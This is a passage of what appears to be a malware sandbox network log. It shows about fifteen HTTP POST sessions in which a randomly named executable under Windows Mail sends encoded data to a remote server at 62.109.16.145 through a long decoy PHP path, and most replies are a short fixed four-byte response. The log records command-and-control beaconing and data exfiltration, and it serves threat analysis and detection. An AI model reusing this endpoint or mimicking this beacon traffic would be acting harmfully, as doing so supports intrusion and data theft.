52	192.168.2.4	49794	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:53.826091051 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:54.184731007 CET	1048	OUT	Data Raw: 5f 56 59 51 5f 55 58 59 55 56 55 5a 56 50 55 5c 56 51 5a 53 55 52 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _VYQ_UXYUVUZVPU\VQZSURS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&3_,"8!Z01"(#]#/*]>2( 1;>'( \%#Y)
Jan 9, 2025 04:12:54.541098118 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:54.684586048 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49800	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:54.706099033 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:55.059771061 CET	1764	OUT	Data Raw: 5f 51 59 5a 5a 5c 58 50 55 56 55 5a 56 5e 55 57 56 53 5a 53 55 5c 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QYZZ\XPUVUZV^UWVSZSU\SYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&0] ]931>Z(3Z75=;&1&+0% _>4$Y? \%#Y)<
Jan 9, 2025 04:12:55.397089958 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:55.527457952 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 20 05 21 00 31 05 3f 0c 2f 13 2b 05 2f 1d 3c 1f 0e 12 29 20 04 05 29 5c 2d 05 2b 2d 06 0f 28 3b 2e 5e 27 31 32 1d 23 10 2a 5b 35 0a 2e 59 0c 1d 3a 04 3f 2b 32 56 26 20 37 5a 29 0a 26 10 35 08 24 02 33 3e 35 0f 30 06 30 1e 2b 32 1a 56 2a 1f 37 51 2f 28 39 41 30 1d 07 0a 26 04 21 5e 02 14 20 01 29 3d 2b 57 2a 19 38 07 27 21 31 0b 23 03 2d 0e 23 3b 20 0a 22 2b 3d 07 2a 0f 3e 5b 37 31 28 13 30 33 35 42 34 22 3e 0f 3e 19 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: !1?/+/<) )\-+-(;.^'12#[5.Y:?+2V& 7Z)&5$3>500+2V7Q/(9A0&!^ )=+W8'!1#-#; "+=>[71(035B4">>/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49801	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:54.810915947 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:55.169265985 CET	1048	OUT	Data Raw: 5f 50 59 58 5a 5e 58 5d 55 56 55 5a 56 5d 55 5c 56 54 5a 52 55 56 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _PYXZ^X]UVUZV]U\VTZRUVSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&_34 8-'!=+Y76 )+-&%<U<&?'?7;( \%#Y)0
Jan 9, 2025 04:12:55.521641970 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:55.653610945 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49807	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:55.780503988 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:56.137957096 CET	1048	OUT	Data Raw: 5a 53 59 5f 5f 5b 58 5d 55 56 55 5a 56 59 55 53 56 54 5a 5b 55 52 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZSY__[X]UVUZVYUSVTZ[URSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3_3#]%'2+-?Y7<(;.2:2?<2?>7,*? \%#Y)
Jan 9, 2025 04:12:56.471647978 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:56.607402086 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49816	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:56.732566118 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:57.090980053 CET	1048	OUT	Data Raw: 5a 52 5c 5e 5f 5a 58 5f 55 56 55 5a 56 51 55 57 56 50 5a 5b 55 53 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZR\^_ZX_UVUZVQUWVPZ[USS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&[$:7\7+]$(0#%=\&)+Z%/(Y)?( \%#Y)
Jan 9, 2025 04:12:57.429101944 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:57.561449051 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49823	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:57.686341047 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:58.044230938 CET	1048	OUT	Data Raw: 5f 50 5c 5a 5f 54 5d 5d 55 56 55 5a 56 5a 55 51 56 54 5a 5e 55 55 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _P\Z_T]]UVUZVZUQVTZ^UUSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%%*+\ 8>$1:](/#%,=8)29.?31/>;< \%#Y),
Jan 9, 2025 04:12:58.387481928 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:58.521039963 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49828	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:58.637485027 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:58.981628895 CET	1048	OUT	Data Raw: 5a 52 59 5e 5a 5e 5d 5c 55 56 55 5a 56 59 55 5c 56 56 5a 5c 55 5c 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZRY^Z^]\UVUZVYU\VVZ\U\S[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3(#+0>\)-(#Y(89\2*>(#/Z$?;='< \%#Y)
Jan 9, 2025 04:12:59.324135065 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:59.455295086 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49834	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:59.579067945 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:59.934779882 CET	1048	OUT	Data Raw: 5a 56 5c 5e 5f 5c 5d 5e 55 56 55 5a 56 5e 55 5d 56 5d 5a 5e 55 5c 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZV\^_\]^UVUZV^U]V]Z^U\SVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&%)']4_$12X+>]#'Y(;%W3%/ )#+? \%#Y)<
Jan 9, 2025 04:13:00.336102962 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:00.467717886 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49841	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:00.535089016 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49844	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:00.594213963 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:00.950501919 CET	1048	OUT	Data Raw: 5f 55 59 51 5a 59 5d 5c 55 56 55 5a 56 5b 55 5d 56 57 5a 5e 55 54 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UYQZY]\UVUZV[U]VWZ^UTS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]047)31-(# ?\(+11S<02,\?4/< \%#Y)(
Jan 9, 2025 04:13:01.281807899 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:01.413516998 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49851	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:01.559087038 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:01.905561924 CET	1048	OUT	Data Raw: 5a 57 59 58 5a 58 5d 5a 55 56 55 5a 56 5b 55 54 56 5d 5a 5a 55 57 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZWYXZX]ZUVUZV[UTV]ZZUWSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$9 4Z$"-)=34&/](+.&P<0<2/)7#? \%#Y)(
Jan 9, 2025 04:13:02.295408964 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:02.430761099 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49858	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:02.565104008 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:02.919159889 CET	1048	OUT	Data Raw: 5f 55 5c 59 5f 5f 58 5a 55 56 55 5a 56 5f 55 50 56 57 5a 5c 55 50 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _U\Y__XZUVUZV_UPVWZ\UPSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%',7(.$21(##53&<U3^18)73+ \%#Y)
Jan 9, 2025 04:13:03.293311119 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:03.418279886 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49864	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:03.568921089 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:03.919265985 CET	1048	OUT	Data Raw: 5a 57 59 5a 5f 5f 58 5a 55 56 55 5a 56 5b 55 57 56 56 5a 53 55 51 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZWYZ__XZUVUZV[UWVVZSUQSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&39Y#+%]&2!)> 4%+>5X2%V<%<,)7 ?/ \%#Y)(
Jan 9, 2025 04:13:04.309516907 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:04.445455074 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49873	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:04.743757963 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:05.091008902 CET	1048	OUT	Data Raw: 5f 56 59 5e 5a 59 58 59 55 56 55 5a 56 5d 55 55 56 53 5a 53 55 54 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _VY^ZYXYUVUZV]UUVSZSUTS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%39+]#(!_'X+[ ])Z2&*33%(^='8Y+? \%#Y)0
Jan 9, 2025 04:13:05.437944889 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:05.566224098 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49880	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
